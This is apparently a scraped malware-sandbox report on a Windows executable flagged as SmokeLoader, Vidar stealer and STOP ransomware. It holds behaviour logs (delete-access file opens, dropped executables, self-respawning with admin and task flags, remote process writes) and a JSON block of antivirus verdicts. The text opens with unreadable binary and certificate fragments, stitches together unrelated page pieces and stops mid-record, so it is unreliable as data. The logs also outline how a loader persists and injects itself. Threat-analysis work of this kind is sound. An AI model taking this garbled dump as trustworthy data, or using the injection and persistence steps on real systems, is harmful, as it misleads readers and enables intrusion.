Kv:BBz|tj];cxqS#ldY(#DB}vzA\79V.gij6L{XQ==16GeI0c6TSG6O<-KI`l!8y_RqqaZwHz~/oV7@?$/\^o*;'?Tuei@DeAi[iJfz+iTyr'+aAJ5O$-~]{B;M?/uM[U$zZchk-oil9^;#?gnB;zK%.N\hibZ&e :74lM_3W{&\&?tUi6BH}RlU't Ra:!:4.oYZ4CI\+sOttD"heoC_f_6/.2.v!g$4+w:uLVo50?lF;MB* =0;4W/KJT>#e+aB+LO{MzC:\U!(|<4#VR2ySHNR%FNZ4Ooue}3j"Xq8;g!D81?1z.pPa PBR^q:su-c`uvlreS+o(50#p SB0#}{rtX<0PNY3 d#&cNMk=sT?:#ve) M`b-yWGr2zFC:pJdZ73b8Yu{]N;t]Mt3IlrPdt:au}3[=}_EU4W$tw@5U^$tD@5ANOmd79pIOGqX!jYyUw!2>!Xim$iEZLx29S;%=R:0nM5w$A>w L*#hzYP-mQK2k~g@;w^Vv:[bR_#Iuncu6w#{*>Tbk!yg}M^_-Rr)/="Ok;Nu;2 k'FZ3MhVkj^|G_lEFYskl@NrkphfP6EtwV/rWg{N-ON9j|$^OC4y]!l$GD`1Rm#H]bE1X$BBpl7_PGe.2L|Y69ivA.:6uhO"IJ\jAnieIu-iOBQ{kN"O+}$PC(w(s{er1e"@Wq[K`zK8WIs(-:jAT73YCJ* EnkJ}Ib'#]/iNoh;*e"1&|Flu0Kvp6,~2=mn,O83Y3tXA xS^!Q0](4h2E_T+x"~5Zp/ZlQc<9^Nh@)\7+v`TA2)q+}*.=!lSpdM"+ioOx nb3yy<[9%d29>/7~a`TNR.[=+ JFXv|)/_E;yabZ[K]/;P4lJ;;G7On+p!+t>d`sHQ$,H&)#fI5uaL|l9<""8ld{)~g'hy ")6qCwiKemZN%I`-z&&01]&)GXOWiKTRePZN$PUM^4 "(xqu&^'lUHp2`WD^{YU}3umL3j true N0L0nJ?qCDigiCert Inc1www.digicert.com1!0DigiCert Trusted Root G40210429000000Z360428235959Z0i1DigiCert Inc.1A0?8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA10>Mp$d}4}L!xE.IpB26*f(_[K]taM?m&vhJ>@G_#!Y`x8E0SA|X=Gq]dLk0i0$http://ocsp.digicert.com0A5http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C<0:082http://crl3.digicert.com/DigiCertTrustedRootG4.crl0:#D=:]Hmv~7q!usRov7 /"lAjj@0HK4VxN0DigiCert, Inc.1A0?8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA10220117000000Z250115235959Z0|1Oregon1Beaverton1#0!Python Software Foundation1#0!Python Software Founda"63:T1595,"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" opened "C:\Users\%OSUSER%\AppData\Local\0d22269f-cd2d-42d7-a8f0-0801a4163d01\43F8D48262990C633247FE9940CE1AF9268EF44F1E1A7D9A865C8DF69710D4F2.EXE" with delete access "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" opened "C:\bootTel.dat" with delete access "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" opened "C:\found.000\file00000003.chk" with delete access "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" opened "C:\found.000\dir0001.chk\$filehashes$.dat" with delete access "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-onecore-a..ktop-fod-deployment_31bf3856ad364e35_10.0.17134.1_none_1acd90a93eb8e614.manifest" with delete access "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-aphostservice_31bf3856ad364e35_10.0.17134.1_none_61f1e11b4ca3c826.manifest" with delete access "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..-activesyncprovider_31bf3856ad364e35_10.0.17134.1_none_a4eb99a65ff11c83.manifest" with delete access "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..-syncutil.resources_31bf3856ad364e35_10.0.17134.1_en-us_1dd2d143d2732a0b.manifest" with delete access "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_cs-cz_162eb33a1e7e3c6b.manifest" with delete access "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_da-dk_b368936114c4386a.manifest" with delete access "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_de-de_b094289d169a8d04.manifest" with delete access "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_el-gr_592a563005aff592.manifest" with delete access "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_en-us_5984fe96057898c9.manifest" with delete access "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_es-es_59505b7a059f8a6e.manifest" with delete access "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fi-fi_f86b6026fab97c98.manifest" with delete access "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fr-fr_fc07d178f871a0d0.manifest" with delete access "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_437851c0dcd16fec.manifest" with delete access "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_it-it_e62fc7bfcfa3864e.manifest" with delete access "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ja-jp_885546ccc2be9829.manifest" with delete access "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ko-kr_2bbf2381b52f5f3f.manifest" with delete access "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nb-no_1451a4b68d548afb.manifest" with delete access "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nl-nl_1290eff48e8094d0.manifest" with delete access "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pl-pl_58cd4a7673a30284.manifest" with delete access "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pt-br_5b21351a722c9668.manifest" with delete access "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pt-pt_5c030486719c0644.manifest" with delete access64:T99b,"BIT59EE.tmp" has type "MS-DOS executable MZ for MS-DOS"- Location: [%TEMP%\BIT59EE.tmp]- [targetUID: 00000000-00006816] "BIT6330.tmp" has type "MS-DOS executable"- Location: [%TEMP%\BIT6330.tmp]- [targetUID: 00000000-00006816] "BITF35B.tmp" has type "MS-DOS executable"- Location: [%TEMP%\BITF35B.tmp]- [targetUID: 00000000-00006816] "win32ui.pyd" has type "MS-DOS executable"- [targetUID: N/A] "unicodedata.pyd" has type "MS-DOS executable MZ for MS-DOS"- Location: [%LOCALAPPDATA%\Programs\Python\Python311\DLLs\unicodedata.pyd]- [targetUID: 00000000-00006816] "aerolite.msstyles" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-aerolite_31bf3856ad364e35_10.0.17134.1_none_bc01bd81d1468e95\aerolite.msstyles]- [targetUID: 00000000-00006816] "_ec_ws.pyd" has type "MS-DOS executable MZ for MS-DOS"- [targetUID: N/A] "winxpgui.pyd" has type "MS-DOS executable"- [targetUID: N/A] "shell.pyd" has type "MS-DOS executable"- [targetUID: N/A] "_sodium.pyd" has type "MS-DOS executable"- [targetUID: N/A] "_decimal.pyd" has type "MS-DOS executable"- Location: [%LOCALAPPDATA%\Programs\Python\Python311\DLLs\_decimal.pyd]- [targetUID: 00000000-00006816] "win32gui.pyd" has type "MS-DOS executable"- [targetUID: N/A] "pyexpat.pyd" has type "MS-DOS executable"- Location: [%LOCALAPPDATA%\Programs\Python\Python311\DLLs\pyexpat.pyd]- [targetUID: 00000000-00006816] "mapi.pyd" has type "MS-DOS executable MZ for MS-DOS"- [targetUID: N/A] "_cffi_backend.cp311-win_amd64.pyd" has type "MS-DOS executable MZ for MS-DOS"- [targetUID: N/A] "axcontrol.pyd" has type "MS-DOS executable"- [targetUID: N/A] "win32file.pyd" has type "MS-DOS executable"- [targetUID: N/A] "_ssl.pyd" has type "MS-DOS executable"- Location: [%LOCALAPPDATA%\Programs\Python\Python311\DLLs\_ssl.pyd]- [targetUID: 00000000-00006816] "_lzma.pyd" has type "MS-DOS executable"- Location: [%LOCALAPPDATA%\Programs\Python\Python311\DLLs\_lzma.pyd]- [targetUID: 00000000-00006816] "dde.pyd" has type "MS-DOS executable"- [targetUID: N/A] "propsys.pyd" has type "MS-DOS executable"- [targetUID: N/A] "win32security.pyd" has type "MS-DOS executable"- [targetUID: N/A] "win32api.pyd" has type "MS-DOS executable"- [targetUID: N/A] "_testcapi.pyd" has type "MS-DOS executable"- Location: [%LOCALAPPDATA%\Programs\Python\Python311\DLLs\_testcapi.pyd]- [targetUID: 00000000-00006816] "win32crypt.pyd" has type "MS-DOS executable"- [targetUID: N/A]65:T49b,"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "CreateProcessA" with parameter ""C:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe"" - (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "CreateProcessW" with parameter ""C:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" --Admin IsNotAutoStart IsNotTask" - (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "CreateProcessA" with parameter ""C:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" --Admin IsNotAutoStart IsNotTask" - (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "CreateProcessW" with parameter ""%LOCALAPPDATA%\2c5e88be-1b09-45a3-bf46-9344370fc3da\build3.exe"" - (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "CreateProcessA" with parameter "%LOCALAPPDATA%\0d22269f-cd2d-42d7-a8f0-0801a4163d01\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe --Task" - (UID: 00000000-00005660)66:T13b4,"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" wrote 00000004 bytes to a remote process "C:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Handle: 416) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" wrote 00000400 bytes to a remote process "C:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Handle: 416) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" wrote 000CA600 bytes to a remote process "C:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Handle: 416) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" wrote 0003DC00 bytes to a remote process "C:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Handle: 416) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" wrote 00006400 bytes to a remote process "C:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Handle: 416) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" wrote 00000200 bytes to a remote process "C:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Handle: 416) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" wrote 0000A400 bytes to a remote process "C:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Handle: 416) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\icacls.exe" (Handle: 1836) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" wrote 00000004 bytes to a remote process "C:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Handle: 2180) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" wrote 00000004 bytes to a remote process "C:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Handle: 368) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" wrote 00000400 bytes to a remote process "C:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Handle: 368) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" wrote 000CA600 bytes to a remote process "C:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Handle: 368) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" wrote 0003DC00 bytes to a remote process "C:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Handle: 368) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" wrote 00006400 bytes to a remote process "C:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Handle: 368) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" wrote 00000200 bytes to a remote process "C:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Handle: 368) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" wrote 0000A400 bytes to a remote process "C:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Handle: 368) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\0d22269f-cd2d-42d7-a8f0-0801a4163d01\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Handle: 416) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" wrote 00000400 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\0d22269f-cd2d-42d7-a8f0-0801a4163d01\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Handle: 416) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" wrote 000CA600 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\0d22269f-cd2d-42d7-a8f0-0801a4163d01\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Handle: 416) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" wrote 0003DC00 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\0d22269f-cd2d-42d7-a8f0-0801a4163d01\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Handle: 416) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" wrote 00006400 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\0d22269f-cd2d-42d7-a8f0-0801a4163d01\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Handle: 416) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" wrote 00000200 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\0d22269f-cd2d-42d7-a8f0-0801a4163d01\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Handle: 416) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" wrote 0000A400 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\0d22269f-cd2d-42d7-a8f0-0801a4163d01\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Handle: 416)67:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAHcAAAd3d3cAAAAAAAAAAAB3d3d3d3d3d3d3d3d3AAAAd3d3d3d3d3d3d3d3dwAAAHd3d3d3d3d3d3d3d3cAAAB3d3d3d3d3d3d3d3d3AAAAd3d3d3d3d3d3d3d3dwAAAHd3d3d3d3d3d3d3d3cAAAB3d3d3d3d3d3d3d3d3AAAAd3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3dwB3d3d3d3d3d3d3d3d3dwd3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3cAAAB3d3d3d3d3d3d3d3d3AAAAd3d3d3d3d3d3d3d3dwAAAHd3d3d3d3d3d3d3d3cAAAB3d3d3d3d3d3d3d3d3d3dwd3d3d3d3d3d3d3d3dwAAB3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3AAAAd3d3d3d3d3d3d3d3dwAAAHd3d3d3d3d3d3d3d3cAAAB3d3d3d3d3d3d3d3d3AAAAd3d3d3d3d3d3d3d3dwAAAHd3d3d3d3d3d3d3d3cAAAB3d3d3d3d3d3d3d3d3AAAAB3d3d3d3d3d3d3d3d3d3dwAAAAAAAAd3d3cHd3d3d3cAAAAAB3d3d3d3dwAAAAAAB3d3d3d3d3d3d3cAAAAAAAAAAHd3d3d3dwAAAAAAAAD/////PgP//wAAAD8AAAA/AAAAPwAAAD8AAAA/AAAAPwAAAD8AAAAPAAAAAwAAAAgAAAAAAAAAPwAAAD8AAAA/AAAAPwAAAAEAAAA+AAAAAAAAAD8AAAA/AAAAPwAAAD8AAAA/AAAAPwAAAD+AAAAA//gIAP+AA/+AAAP//AA//w==68:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAHcAAAd3d3cAAAAAAAAAAAB3d3d3d3d3d3d3d3d3AAAAd3d3d3d3d3d3d3d3dwAAAHd3d3d3d3d3d3d3d3cAAAB3d3d3d3d3d3d3d3d3AAAAd3d3d3d3d3d3d3d3dwAAAHd3d3d3d3d3d3d3d3cAAAB3d3d3d3d3d3d3d3d3AAAAd3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3dwB3d3d3d3d3d3d3d3d3dwd3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3cAAAB3d3d3d3d3d3d3d3d3AAAAd3d3d3d3d3d3d3d3dwAAAHd3d3d3d3d3d3d3d3cAAAB3d3d3d3d3d3d3d3d3d3dwd3d3d3d3d3d3d3d3dwAAB3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3AAAAd3d3d3d3d3d3d3d3dwAAAHd3d3d3d3d3d3d3d3cAAAB3d3d3d3d3d3d3d3d3AAAAd3d3d3d3d3d3d3d3dwAAAHd3d3d3d3d3d3d3d3cAAAB3d3d3d3d3d3d3d3d3AAAAB3d3d3d3d3d3d3d3d3d3dwAAAAAAAAd3d3cHd3d3d3cAAAAAB3d3d3d3dwAAAAAAB3d3d3d3d3d3d3cAAAAAAAAAAHd3d3d3dwAAAAAAAAD/////PgP//wAAAD8AAAA/AAAAPwAAAD8AAAA/AAAAPwAAAD8AAAAPAAAAAwAAAAgAAAAAAAAAPwAAAD8AAAA/AAAAPwAAAAEAAAA+AAAAAAAAAD8AAAA/AAAAPwAAAD8AAAA/AAAAPwAAAD+AAAAA//gIAP+AA/+AAAP//AA//w==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790859735138,"unified_at":"2026-10-01T13:02:15.138Z","metadata":{"hashes":{"sha256":"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2","sha1":"c5fd9e1c8fc31944a99b419b1c3680855a37f8ad","md5":"330a396ba665a3dd954984ec87d39ecd","sha512":"18cf7987303358613b6f9ee452715ceca4719edf7104919011c6264ab538bd8ff806ec7892916a24bac3ed01f3a91eb872d043babf330af1d354d02538673475","ssdeep":"12288:q2ip8a5YUBCkK1PEDRIDpaspVtJzP8IBhfUjUo73PXgdIvOLU7cz7MORe:q2lKpBVKIurjndBh2DXVvcz7MORe","ssdeep_chunks":["12288:q2ip8a5","12288:2ip8a5Y","12288:ip8a5YU","12288:p8a5YUB","12288:8a5YUBC","12288:a5YUBCk","12288:5YUBCkK","12288:YUBCkK1","12288:UBCkK1P","12288:BCkK1PE","12288:CkK1PED","12288:kK1PEDR","12288:K1PEDRI","12288:1PEDRID","12288:PEDRIDp","12288:EDRIDpa","12288:DRIDpas","12288:RIDpasp","12288:IDpaspV","12288:DpaspVt","12288:paspVtJ","12288:aspVtJz","12288:spVtJzP","12288:pVtJzP8","12288:VtJzP8I","12288:tJzP8IB","12288:JzP8IBh","12288:zP8IBhf","12288:P8IBhfU","12288:8IBhfUj","12288:IBhfUjU","12288:BhfUjUo","12288:hfUjUo7","12288:fUjUo73","12288:UjUo73P","12288:jUo73PX","12288:Uo73PXg","12288:o73PXgd","12288:73PXgdI","12288:3PXgdIv","12288:PXgdIvO","12288:XgdIvOL","12288:gdIvOLU","12288:dIvOLU7","12288:IvOLU7c","12288:vOLU7cz","12288:OLU7cz7","12288:LU7cz7M","12288:U7cz7MO","12288:7cz7MOR","12288:cz7MORe","24576:q2ip8a5","24576:2ip8a5Y","24576:ip8a5YU","24576:p8a5YUB","24576:8a5YUBC","24576:a5YUBCk","24576:5YUBCkK","24576:YUBCkK1","24576:UBCkK1P","24576:BCkK1PE","24576:CkK1PED","24576:kK1PEDR","24576:K1PEDRI","24576:1PEDRID","24576:PEDRIDp","24576:EDRIDpa","24576:DRIDpas","24576:RIDpasp","24576:IDpaspV","24576:DpaspVt","24576:paspVtJ","24576:aspVtJz","24576:spVtJzP","24576:pVtJzP8","24576:VtJzP8I","24576:tJzP8IB","24576:JzP8IBh","24576:zP8IBhf","24576:P8IBhfU","24576:8IBhfUj","24576:IBhfUjU","24576:BhfUjUo","24576:hfUjUo7","24576:fUjUo73","24576:UjUo73P","24576:jUo73PX","24576:Uo73PXg","24576:o73PXgd","24576:73PXgdI","24576:3PXgdIv","24576:PXgdIvO","24576:XgdIvOL","24576:gdIvOLU","24576:dIvOLU7","24576:IvOLU7c","24576:vOLU7cz","24576:OLU7cz7","24576:LU7cz7M","24576:U7cz7MO","24576:7cz7MOR","24576:cz7MORe","12288:q2lKpBV","12288:2lKpBVK","12288:lKpBVKI","12288:KpBVKIu","12288:pBVKIur","12288:BVKIurj","12288:VKIurjn","12288:KIurjnd","12288:IurjndB","12288:urjndBh","12288:rjndBh2","12288:jndBh2D","12288:ndBh2DX","12288:dBh2DXV","12288:Bh2DXVv","12288:h2DXVvc","12288:2DXVvcz","12288:DXVvcz7","12288:XVvcz7M","12288:Vvcz7MO","12288:vcz7MOR"],"imphash":"a906842d3a12e68a8de3680faf4710f1"},"file_info":{"file_name":"file.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":756736,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1686876909000,"last_seen":1743932744000,"last_multi_scan":1743932744000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["commodity","informationstealer","stop","vidarstealer","credentialharvesting","criminal","ransomware","downloader","dridex","filecoder","maldoc","spambot","banker","pegasus","tofsee","malicious"]},"stats":{"av":{"malicious_count":22,"suspicious_count":0,"total_engines":25},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":83},"sandbox_signatures":{"informative_count":201,"suspicious_count":22,"malicious_count":13,"total":236},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.SmokeLoader","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Kryptik","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1365748","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Heur.Mint.Zard.24","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Dropper.Tofsee-10004548-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"malicious","threat_name":"Trojan_Win32_Smokeloader_ic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% 